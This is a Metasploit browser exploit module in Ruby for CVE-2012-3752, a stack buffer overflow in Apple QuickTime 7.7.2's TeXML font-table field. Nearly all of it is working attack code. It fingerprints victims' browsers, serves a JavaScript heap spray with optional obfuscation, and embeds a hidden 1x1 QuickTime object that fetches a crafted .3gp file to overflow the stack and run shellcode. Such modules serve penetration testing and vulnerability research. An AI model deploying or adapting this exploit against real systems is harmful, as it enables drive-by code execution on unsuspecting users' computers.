Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:javascript => true,  
:rank => NormalRanking  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in Apple QuickTime. When handling  
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then  
gain arbitrary code execution under the context of the user. This is due to the  
QuickTime3GPP.gtx component not handling certain Style subfields properly, as the  
font-table field, which is used to trigger the overflow in this module. Because of  
QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be  
used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module  
has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).  
},  
'Author' =>  
[  
'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery  
'juan vazquez' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '87087' ],  
[ 'CVE', '2012-3752' ],  
[ 'BID', '56557' ],  
[ 'URL', 'http://support.apple.com/kb/HT5581' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 1000,  
},  
'Platform' => 'win',  
  
'Targets' =>  
[  
# Tested with QuickTime 7.7.2  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3', {} ],  
[ 'Firefox 3.5 on Windows XP SP3', {} ],  
[ 'Firefox 3.5.1 on Windows XP SP3', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 07 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])  
], self.class)  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
  
browser_name = ""  
if agent =~ /MSIE/  
browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''  
browser_name = "IE #{browser_version}"  
elsif agent =~ /Firefox\/3.5$/  
browser_name = "Firefox 3.5 "  
elsif agent =~ /Firefox\/3.5.1$/  
browser_name = "Firefox 3.5.1"  
elsif agent =~ /Opera\/9/  
browser_name = "Opera"  
end  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
targets.each do |t|  
if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
  
def on_request_uri(client, request)  
  
return if ((p = regenerate_payload(client)) == nil)  
  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
if request.uri =~ /\.3gp/  
print_status("Sending exploit TEXML (target: #{my_target.name})")  
  
my_payload = "1" * (1024*16)  
  
texml = <<-eos  
<?xml version="1.0"?>  
<?quicktime type="application/x-quicktime-texml"?>  
  
<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"  
language="eng" timeScale="600"  
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">  
<sample duration="2400" keyframe="true">  
  
<description format="tx3g" displayFlags="ScrollIn"  
horizontalJustification="Left"  
verticalJustification="Top"  
backgroundColor="0%, 0%, 0%, 100%">  
  
<defaultTextBox x="0" y="0" width="176" height="60"/>  
<fontTable>  
<font id="1" name="Times"/>  
</fontTable>  
  
<sharedStyles>  
<style id="1">  
{font-table: #{my_payload}}  
{font-style:normal}  
{font-weight: normal}  
{font-size: 10}  
{line-height: 100%}  
{text-align: right}  
{text-decoration: underline}  
{color: 100%, 100%, 100%, 100%}  
{backgroundcolor: 100%, 100%, 100%, 100%}  
</style>  
</sharedStyles>  
</description>  
  
<sampleData scrollDelay="200"  
highlightColor="25%, 45%, 65%, 100%"  
targetEncoding="utf8">  
  
<textBox x="10" y="10" width="156" height="40"/>  
<text styleID="1">What you need... Metasploit!</text>  
<highlight startMarker="1" endMarker="2"/>  
<blink startMarker="3" endMarker="4"/>  
</sampleData>  
</sample>  
</text3GTrack>  
eos  
  
send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })  
  
else  
print_status("Sending initial HTML")  
  
url = ((datastore['SSL']) ? "https://" : "http://")  
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])  
url << ":" + datastore['SRVPORT'].to_s  
url << get_resource  
  
fname = rand_text_alphanumeric(4)  
  
#ARCH used by the victim machine  
arch = Rex::Arch.endian(my_target.arch)  
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)  
code = Rex::Text.to_unescape(payload.encoded, arch)  
  
# Spray puts payload on 0x31313131  
if my_target.name =~ /IE/  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{code}");  
var nops = unescape("#{nops}");  
  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, 0x800 - code.length);  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
for (var i=0; i < 1600; i++) {  
heap_obj.alloc(block);  
}  
JS  
  
#Use heaplib  
js_spray = heaplib(spray)  
  
#obfuscate on demand  
if datastore['OBFUSCATE']  
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)  
js_spray.obfuscate  
end  
else  
js_spray = <<-JS  
var shellcode = unescape("#{code}");  
var bigblock = unescape("#{nops}");  
var headersize = 20;  
var slackspace = headersize + shellcode.length;  
while (bigblock.length < slackspace) bigblock += bigblock;  
var fillblock = bigblock.substring(0,slackspace);  
var block = bigblock.substring(0,bigblock.length - slackspace);  
while (block.length + slackspace < 0x40000) block = block + block + fillblock;  
var memory = new Array();  
for (i = 0; i < 750; i++){ memory[i] = block + shellcode }  
JS  
end  
  
content = "<html>"  
content << <<-JSPRAY  
<head>  
<script>  
#{js_spray}  
</script>  
</head>  
JSPRAY  
content << "<body>"  
  
content << <<-ENDEMBED  
<OBJECT  
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"  
WIDTH="1"  
HEIGHT="1"  
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">  
<PARAM name="SRC" VALUE = "#{url}/#{fname}.3gp">  
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.3gp">  
<PARAM name="AUTOPLAY" VALUE = "true" >  
<PARAM name="TYPE" VALUE = "video/quicktime" >  
<PARAM name="TARGET" VALUE = "myself" >  
<EMBED  
SRC = "#{url}/#{fname}.3gp"  
QTSRC = "#{url}/#{fname}.3gp"  
TARGET = "myself"  
WIDTH = "1"  
HEIGHT = "1"  
AUTOPLAY = "true"  
PLUGIN = "quicktimeplugin"  
TYPE = "video/quicktime"  
CACHE = "false"  
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >  
</EMBED>  
</OBJECT>  
ENDEMBED  
  
content << "</body></html>"  
  
send_response(client, content, { 'Content-Type' => "text/html" })  
end  
end  
  
end  
  
  
=begin  
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)  
  
int __fastcall sub_67EED2B0(int a1, int a2)  
{  
int result; // eax@1  
unsigned __int8 v3; // cl@2  
  
for ( result = 0; ; ++result )  
{  
v3 = *(_BYTE *)a2++ - 0x30;  
if ( v3 > 9u )  
break;  
}  
return result;  
}  
=end`